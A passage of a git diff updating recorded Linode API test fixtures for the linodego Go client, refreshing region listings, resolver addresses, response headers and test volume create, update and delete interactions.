Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -76,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:52 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -97,9 +289,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -118,7 +313,7 @@ interactions: url: https://api.linode.com/v4beta/volumes method: POST response: - body: '{"id": 566470, "status": "creating", "label": "go-vol-test-def", "created": + body: '{"id": 4210953, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": @@ -135,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "317" + - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:52 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -156,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "100" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -174,10 +376,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566470 + url: https://api.linode.com/v4beta/volumes/4210953 method: PUT response: - body: '{"id": 566470, "status": "creating", "label": "go-vol-test-def-updated", + body: '{"id": 4210953, "status": "creating", "label": "go-vol-test-def-updated", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def-updated", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": @@ -194,15 +396,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "333" + - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:53 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -215,9 +421,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -233,7 +442,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566470 + url: https://api.linode.com/v4beta/volumes/4210953 method: DELETE response: body: '{}' @@ -249,15 +458,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -270,9 +483,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestVolume_WaitForLinodeID_linode.yaml b/test/integration/fixtures/TestVolume_WaitForLinodeID_linode.yaml index e52a0c5bf..5c5116e53 100644 --- a/test/integration/fixtures/TestVolume_WaitForLinodeID_linode.yaml +++ b/test/integration/fixtures/TestVolume_WaitForLinodeID_linode.yaml @@ -14,56 +14,244 @@ interactions: url: https://api.linode.com/v4beta/regions method: GET response: - body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", - "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], - "page": 1, "pages": 1, "results": 11}' + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 